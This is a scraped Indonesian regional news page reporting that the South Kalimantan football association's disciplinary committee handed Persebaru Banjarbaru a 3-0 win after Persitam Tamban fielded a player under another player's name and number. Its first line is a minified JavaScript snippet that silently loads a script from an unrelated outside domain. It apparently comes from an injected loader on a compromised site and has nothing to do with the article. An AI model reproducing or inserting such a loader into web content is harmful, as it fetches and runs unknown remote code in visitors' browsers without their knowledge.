(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komite Disiplin (Komdis) PSSI Kalsel resmi menjatuhkan sanksi kalah 3-0, pengurangan tiga poin kepada Persitam Tamban dikarenakan terbukti memainkan pemain yang bukan nama dan nomor punggung pemain bersangkutan saat menghadapi Persebaru.
Berdasarkan surat dari Komdis PSSI Kalsel Nomor : SKEP/01/KOMDIS /IX/2022 yang ditanda tangani langsung Ketua Komdis Asprov PSSI Kalsel Bujina A Salan, tertanggal 19 September 2022.
Manajer Persebaru Banjarbaru, Khairil Anwar menyampaikan Komdis Asprov PSSI Kalsel secara resmi memberikan sanksi kepada Persitam Tamban.
“PSSI secara resmi putuskan sanksi Persitam Tamban,” katanya, Kamis (22/9/2022).
Baca juga: Tolak Kenaikan BBM hingga Naikkan UMP, Buruh Unjuk Rasa di DPRD Kalsel
Dilanjutkannya dengan disanksinya Persitam Bamban mendapatkan sanksi pengurangan poin dan Persebaru Banjarbaru dinyatakan menang 3-0 atas Persitam Tamban.
Terbuktinya Persitam Tamban melakukan pelanggaran berdasarkan pengakuan secara lisan dari Pelatih/Manager Persitam Tamban bahwa benar telah memainkan pemain yang bukan nama dan nomor punggung pemain yang bersangkutan
Sebelumnya, Persebaru Banjarbaru menjamu Persitam Tamban pada Minggu (18/9/2022) sore, di lapangan Mako Brimob Polda Kalsel di Banjarbaru, Persebaru Banjarbaru menelan kekalahan 1-2.
Dari pertandingan tersebut, Persebaru Banjarbaru melayangkan protes kepada PSSI Kalsel dikarenakan Persitam Tamban sesuai Daftar Susunan Pemain online memainkan pemain atas nama Muhammad Lutfi nomor punggung 10, tetapi yang bermain di lapangan atas nama Muhammad Arya nomor punggung 10. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.